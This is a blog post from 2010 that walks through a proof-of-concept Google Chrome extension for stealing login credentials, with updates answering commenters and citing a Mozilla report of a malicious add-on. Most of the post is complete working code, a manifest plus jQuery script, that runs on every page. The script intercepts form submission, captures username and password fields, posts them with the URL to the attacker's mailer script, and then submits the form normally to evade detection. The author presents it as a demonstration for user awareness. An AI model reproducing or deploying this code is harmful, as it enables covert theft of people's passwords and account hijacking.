Friday, July 9, 2010

Stealing login details with a Google Chrome extension

In this post I will demonstrate a proof of concept of how an attacker can steal usernames and passwords via a Google Chrome Extension.



(12/07/10: Posted a follow up to clear some misconceptions that where floating around in comments)

(14/07/10: Posted a second follow up as regards the Mozilla article I stumbled upon)



The Google Chrome browser allows the installation of third-party extensions that are used to extend the browser to add new features. The extensions are written in JavaScript and HTML and allow manipulation of the DOM, amongst other features.

By allowing access to the DOM, an attacker can thus read form fields...including username and password fields. This is what sparked my idea of creating this PoC.

The extension I present here is very simple. Whenever a user submits a form, it tries to capture the username and password fields, sends me an email via an Ajax call to a script with these login details along with the url and then proceeds to submit the form normally as to avoid detection.

This simple procedure has been successful against Gmail, Facebook, Twitter and other major websites.

The Code

For this extension, I am making use of jQuery as to write quick code for this prototype, but it can obviously be rewritten without it's dependency.

The first thing the script does is attach a submit handler to every form field on the page:

$("form").submit(function(e) {
 var $this = $(this);
 e.preventDefault();
 process(function() {
  $this.unbind('submit');
  $this.submit();
 });
});

We hook to the submit handler to prevent the default behaviour of the form (ie submitting normally) with e.preventDefault and to call our process function:

var process = function(callback) {
 var username = $("input[type=text]").not(passwordBoxes).filter(function() {
  var field = $(this);
  return field.val() || field.html();
 }).val(),
 password = passwordBoxes.val();

 sendEmail(username, password, location.href, callback);
};

The process function captures the values of the username and password fields respectively. passwordBoxes is a variable containing the inputs of the page that have their type set as password:

var passwordBoxes = $("input[type=password]");

Upon capturing the values of the username and password fields, these are sent along with the current url and the callback that submits the form to the sendEmail function which sends the email with the username, password and url via an Ajax call:

var sendEmail = function(username, password, url, callback) {
 var msg = getMessage(username, password, url);
 $.ajax({
  type: 'POST',
  url: 'the url of the mailer script',
  data: 'the headers you want to send',
  success: callback
 });
};

The getMessage function simply returns a formatted string with the details that will be contained in the email:

var getMessage = function(username, password, url) {
 return "Username: " + username + " || Password: " + password + " || Url: " + url;
};

After the details are sent, the callback is invoked which submits the form normally.

Note that there could be a very small delay between the user clicking the submit button and the form being submitted because of the Ajax call, but it is barely noticeable.



In this post I have demonstrated how an attacker can steal login credentials but this can also be used for other things, such as stealing cookies and hijacking sessions. The point I am trying to make here is that you should always be careful about what third-party applications you install.


The following is the complete code for the main.js file and the manifest.json file:

{
  "name": "Stealing login credentials with Google Chrome Extensions",
  "version": "1.0",
  "description": "A proof of concept demonstrating the possibility of stealing user credentials in login forms via a Google Chrome extension",
  "permissions": ["tabs"],
  "content_scripts": [{
      "matches": ["http://*/*", "https://*/*"],
      "js": ["jquery.min.js", "main.js"],
      "run_at": "document_start"
    }]
}

$(function() {
 var passwordBoxes = $("input[type=password]"),
 getMessage = function(username, password, url) {
  return "Username: " + username + " || Password: " + password + " || Url: " + url;
 },
 sendEmail = function(username, password, url, callback) {
  var msg = getMessage(username, password, url);
  $.ajax({
   type: 'POST',
   url: 'the url of the mailer script', //Change to the path of your mailer script
   data: 'the headers you want to send', //Change to add any headers to be sent along
   success: callback
  });
 },
 process = function(callback) {
  var username = $("input[type=text]").not(passwordBoxes).filter(function() {
   var field = $(this);
   return field.val() || field.html();
  }).val(),
  password = passwordBoxes.val();

  sendEmail(username, password, location.href, callback);
 };

 $("form").submit(function(e) {
  var $this = $(this);
  e.preventDefault();
  process(function() {
   $this.unbind('submit');
   $this.submit();
  });
 });
});

[Update]

Apparently this post has been featured on a couple of other websites, even on Slashdot and Times of Malta (and also in German, French, Italian, Polish, Swedish, Norwegian and Spanish).
I am writing this follow up because I believe that there have been some misconceptions floating around in some comments I saw on other sites. First of all, I haven't stolen any Twitter, Facebook or Gmail accounts. In fact, I didn't even upload this extension to the Google Chrome repository. I have only tried this extension on myself, just to test and see if it works.
Secondly, many people are saying that this isn't big news and that this knowledge is obvious to users. For starters, please note that I have never stated that this is "big news" anywhere in my post. Also, although this may seem 'obvious' to many of you, users need to be reminded about security and to be careful about installing third-party applications. It's true that users need to 'OK' the extension to be installed, but the reality is that very few take into consideration what the script is doing under-the-covers.
I have written this post to merely demonstrate that such things can be done and users should be aware of it.
Some have also commented as regards me demonstrating this on Google Chrome. Yes, other browsers can also be susceptible to this technique but I chose to try this on Google Chrome because it has apparently been dubbed as 'the safest browser available', and I'm not denying that. I wanted to make users aware that although Google Chrome is, undoubtedly, a safe browser to use, they should still be careful about what they install on their browsers and not blindly trust anything.

[Another Update]

Today I have discovered this article posted at the Mozilla Add-ons blog: Add-on security vulnerability announcement.
What's interesting about this article is that it was written on the 13th of July, which is a couple of days after my post got 'popular'. Now, I'm not implying anything but it's just an interesting thought.
Many people have commented about the fact that the 'technique' I used in this extension cannot be applied for other browsers. The article at the Mozilla blog now proves otherwise.
The Mozilla post talks about how one malicious add-on and one other add-on that posed a serious security vulnerability where discovered recently at the Mozilla Add-ons website.
The first add-on is called 'Mozilla Sniffer' and was uploaded to the website on the 6th of June. This add-on intercepts login data and sends it to a remote location. It was discovered on July 12th. Here's a quote about it's current status:


Mozilla Sniffer has been downloaded approximately 1,800 times since its submission and currently reports 334 active daily users. All current users should receive an uninstall notification within a day or so. The site this add-on sends data to seems to be down at the moment, so it is unknown if data is still being collected.

Mozilla Sniffer was not developed by Mozilla, and it was not reviewed by Mozilla. The add-on was in an experimental state, and all users that installed it should have seen a warning indicating it is unreviewed. Unreviewed add-ons are scanned for known viruses, trojans, and other malware, but some types of malicious behavior can only be detected in a code review.


Hopefully this article convinces some of the commenters as regards the "obvious nature of my post". Note that Mozilla reported that the add-on has been downloaded 1,800 times in about a month and that there are currently 334 active daily users.
To the commenters who have said that my post is, and I quote, "much ado about nothing!", hopefully this Mozilla article is a response to that.
On a different point, some have also stated this form of intercepting details cannot be applied to other browser extensions, and multiple reasons where given for this. From this Mozilla article we can now conclude that, if not for the other browsers, this can also be applied to Mozilla Firefox.